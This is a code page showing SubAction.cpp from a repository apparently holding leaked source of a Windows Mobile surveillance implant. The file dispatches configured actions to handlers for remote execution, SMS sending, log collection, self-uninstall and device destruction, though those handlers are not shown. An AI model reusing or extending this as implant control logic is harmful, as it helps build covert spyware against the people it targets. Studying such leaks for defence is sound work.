hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/SubAction.cpp

Summary

Maintainability
Test Coverage
#include "SubAction.h"
#include "Execute.h"
#include "Synchronize.h"
#include "Uninstall.h"
#include "Start.h"
#include "Enable.h"
#include "SendSms.h"
#include "LogInformation.h"
#include "Kill.h"

#include "UberLog.h"

SubAction::SubAction(Configuration *c) : stopAction(FALSE) {
    conf = c;
}

SubAction::~SubAction() {
    clear();
}

void SubAction::clear() {
    delete conf;
}

const wstring& SubAction::getActionType() {
    return conf->getString(L"action");
}

INT SubAction::run() {
    wstring actionType = getActionType();
    INT ret = 0;
    
    stopAction = FALSE;

    do {
        if (actionType.compare(L"synchronize") == 0) {
            DBG_TRACE(L"Debug - SubAction.cpp - executing synchronize\n", 1, FALSE);
            Synchronize *sync = new Synchronize(conf);

            ret = sync->run();
            stopAction = sync->getStop();

            delete sync;
            break;
        }

        if (actionType.compare(L"execute") == 0) {
            DBG_TRACE(L"Debug - SubAction.cpp - executing \"execute\"\n", 1, FALSE);
            Execute *exec = new Execute(conf);

            ret = exec->run();
            stopAction = exec->getStop();

            delete exec;
            break;
        }

        if (actionType.compare(L"uninstall") == 0) {
            DBG_TRACE(L"Debug - SubAction.cpp - executing uninstall\n", 1, FALSE);
            Uninstall *uninst = new Uninstall();

            ret = uninst->run();
            stopAction = uninst->getStop();

            delete uninst;
            break;
        }

        if (actionType.compare(L"module") == 0) {
            //DBG_TRACE(L"Debug - SubAction.cpp - executing start module\n", 1, FALSE);
            Start *start = new Start(conf);

            ret = start->run();
            stopAction = start->getStop();

            delete start;
            break;
        }

        if (actionType.compare(L"event") == 0) {
            //DBG_TRACE(L"Debug - SubAction.cpp - executing start event\n", 1, FALSE);
            Enable *enable = new Enable(conf);

            ret = enable->run();
            stopAction = enable->getStop();

            delete enable;
            break;
        }

        if (actionType.compare(L"sms") == 0) {
            DBG_TRACE(L"Debug - SubAction.cpp - executing send sms\n", 1, FALSE);
            SendSms *sendSms = new SendSms(conf);

            ret = sendSms->run();
            stopAction = sendSms->getStop();

            delete sendSms;
            break;
        }

        if (actionType.compare(L"log") == 0) {
            DBG_TRACE(L"Debug - SubAction.cpp - executing log info\n", 1, FALSE);
            LogInformation *logInfo = new LogInformation(conf);

            ret = logInfo->run();
            stopAction = logInfo->getStop();

            delete logInfo;
            break;
        }

        if (actionType.compare(L"destroy") == 0) {
            DBG_TRACE(L"Debug - SubAction.cpp - executing \"kill\"\n", 1, FALSE);
            Kill *kill = new Kill(conf);

            ret = kill->run();
            stopAction = kill->getStop();

            delete kill;
            break;
        }

        DBG_TRACE(L"Debug - SubAction.cpp - unknown action\n", 1, FALSE);
    } while (0);

    return ret;
}

BOOL SubAction::getStop() {
    return stopAction;
}